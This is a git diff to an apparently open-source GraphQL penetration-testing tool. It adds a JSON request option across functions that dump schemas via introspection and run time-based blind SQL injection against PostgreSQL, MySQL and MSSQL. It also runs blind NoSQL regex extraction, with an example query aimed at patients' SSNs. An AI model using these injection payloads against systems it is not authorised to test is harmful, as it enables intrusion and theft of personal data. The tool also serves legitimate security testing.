diff --git a/README.md b/README.md index 015e04d..450755e 100644 --- a/README.md +++ b/README.md @@ -39,6 +39,7 @@ optional arguments: -v [VERBOSITY] Enable verbosity --method [METHOD] HTTP Method to use interact with /graphql endpoint --headers [HEADERS] HTTP Headers sent to /graphql endpoint + --json Send requests using POST and JSON ``` diff --git a/attacks.py b/attacks.py index b3d80e2..a33a1e8 100644 --- a/attacks.py +++ b/attacks.py @@ -2,16 +2,16 @@ from utils import * -def display_types(URL, method, headers): +def display_types(URL, method, headers, use_json): payload = "{__schema{types{name}}}" - r = requester(URL, method, payload, headers) + r = requester(URL, method, payload, headers, use_json) if r is not None: schema = r.json() for names in schema['data']['__schema']['types']: print(names) -def dump_schema(url, method, graphversion, headers): +def dump_schema(url, method, graphversion, headers, use_json): """ Dump the GraphQL schema via Instrospection @@ -27,7 +27,7 @@ def dump_schema(url, method, graphversion, headers): else: payload = "fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated:+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated:+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}" - r = requester(url, method, payload, headers) + r = requester(url, method, payload, headers, use_json) schema = r.json() print("============= [SCHEMA] ===============") @@ -70,10 +70,10 @@ def dump_schema(url, method, graphversion, headers): print("") -def exec_graphql(url, method, query, headers=None, only_length=0): +def exec_graphql(url, method, query, headers=None, use_json=False, only_length=0): if headers is None: headers = {} - r = requester(url, method, query, headers) + r = requester(url, method, query, headers, use_json) try: graphql = r.json() errors = graphql.get("errors") @@ -102,7 +102,7 @@ def exec_graphql(url, method, query, headers=None, only_length=0): return "\033[91m[!]\033[0m {}".format(str(e)) -def exec_advanced(url, method, query, headers): +def exec_advanced(url, method, query, headers, use_json): print(query) # Allow a user to bruteforce character from a charset @@ -110,7 +110,7 @@ def exec_advanced(url, method, query, headers): if "GRAPHQL_CHARSET" in query: graphql_charset = "!$%\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~" for c in graphql_charset: - length = exec_graphql(url, method, query.replace("GRAPHQL_CHARSET", c), headers, only_length=1) + length = exec_graphql(url, method, query.replace("GRAPHQL_CHARSET", c), headers, use_json, only_length=1) print( "[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace("GRAPHQL_CHARSET", c))) @@ -123,42 +123,42 @@ def exec_advanced(url, method, query, headers): for i in range(int(match[0])): pattern = "GRAPHQL_INCREMENT_" + match[0] - length = exec_graphql(url, method, query.replace(pattern, str(i)), headers, only_length=1) + length = exec_graphql(url, method, query.replace(pattern, str(i)), headers, use_json, only_length=1) print("[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace(pattern, str(i)))) # Otherwise execute the query and display the JSON result else: - print(exec_graphql(url, method, query, headers)) + print(exec_graphql(url, method, query, headers, use_json)) -def blind_postgresql(url, method, headers): +def blind_postgresql(url, method, headers, use_json): query = input("Query > ") payload = "1 AND pg_sleep(30) --" print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time())))) injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload) - requester(url, method, injected, headers) + requester(url, method, injected, headers, use_json) print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time())))) -def blind_mysql(url, method, headers): +def blind_mysql(url, method, headers, use_json): query = input("Query > ") payload = "'-SLEEP(30); #" print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time())))) injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload) - requester(url, method, injected, headers) + requester(url, method, injected, headers, use_json) print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time())))) -def blind_mssql(url, method, headers): +def blind_mssql(url, method, headers, use_json): query = input("Query > ") payload = "'; WAITFOR DELAY '00:00:30';" print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time())))) injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload) - requester(url, method, injected, headers) + requester(url, method, injected, headers, use_json) print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time())))) -def blind_nosql(url, method, headers): +def blind_nosql(url, method, headers, use_json): # Query - include BLIND_PLACEHOLDER. e.g. {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}} query = input("Query > ") # Check the input (known value) against the data found - e.g. 5d089c51dcab2d0032fdd08d @@ -174,7 +174,7 @@ def blind_nosql(url, method, headers): old_data = data for c in charset: injected = query.replace("BLIND_PLACEHOLDER", data + c) - r = requester(url, method, injected, headers) + r = requester(url, method, injected, headers, use_json) if check in r.text: data += c # display data and update the current line diff --git a/graphqlmap.py b/graphqlmap.py index 67fc0fb..a85859a 100755 --- a/graphqlmap.py +++ b/graphqlmap.py @@ -18,6 +18,7 @@ class GraphQLmap(object): args = None url = None headers = None + use_json = False def __init__(self, args_graphql): print(" _____ _ ____ _ ") @@ -34,6 +35,7 @@ class GraphQLmap(object): self.url = args_graphql.url self.method = args_graphql.method self.headers = None if not args_graphql.headers else json.loads(args_graphql.headers) + self.use_json = True if args_graphql.use_json else False while True: query = input("GraphQLmap > ") @@ -45,28 +47,28 @@ class GraphQLmap(object): display_help() elif query == "debug": - display_types(self.url, self.method, self.headers) + display_types(self.url, self.method, self.headers, self.use_json) elif query == "dump_new": - dump_schema(self.url, self.method, 15, self.headers) + dump_schema(self.url, self.method, 15, self.headers, self.use_json) elif query == "dump_old": - dump_schema(self.url, self.method, 14, self.headers) + dump_schema(self.url, self.method, 14, self.headers, self.use_json) elif query == "nosqli": - blind_nosql(self.url, self.method, self.headers) + blind_nosql(self.url, self.method, self.headers, self.use_json) elif query == "postgresqli": - blind_postgresql(self.url, self.method, self.headers) + blind_postgresql(self.url, self.method, self.headers, self.use_json) elif query == "mysqli": - blind_mysql(self.url, self.method, self.headers) + blind_mysql(self.url, self.method, self.headers, self.use_json) elif query == "mssqli": - blind_mssql(self.url, self.method, self.headers) + blind_mssql(self.url, self.method, self.headers, self.use_json) else: - exec_advanced(args_graphql.url, self.method, query, self.headers) + exec_advanced(args_graphql.url, self.method, query, self.headers, self.use_json) if __name__ == "__main__": diff --git a/utils.py b/utils.py index 3bb8335..860d4bb 100644 --- a/utils.py +++ b/utils.py @@ -20,12 +20,17 @@ def jq(data): return json.dumps(data, indent=4, sort_keys=True) -def requester(url, method, payload, headers=None): - if method == "POST": +def requester(url, method, payload, headers=None, use_json=False): + if method == "POST" or use_json: data = { "query": payload.replace("+", " ") } - r = requests.post(url, data=data, verify=False, headers=headers) + new_headers = {} if headers is None else headers.copy() + new_data = data.copy() + if use_json: + new_headers['Content-Type'] = 'application/json' + new_data = json.dumps(data) + r = requests.post(url, data=new_data, verify=False, headers=new_headers) if r.status_code == 500: print("\033[91m/!\ API didn't respond correctly to a POST method !\033[0m") return None @@ -42,6 +47,7 @@ def parse_args(): help="HTTP Method to use interact with /graphql endpoint", nargs='?', const=True, default="GET") parser.add_argument('--headers', action='store', dest='headers', help="HTTP Headers sent to /graphql endpoint", nargs='?', const=True, type=str) + parser.add_argument('--json', action='store', dest='use_json', help="Use JSON encoding, implies POST", nargs='?', const=True, type=bool) results = parser.parse_args() if results.url is None: parser.print_help()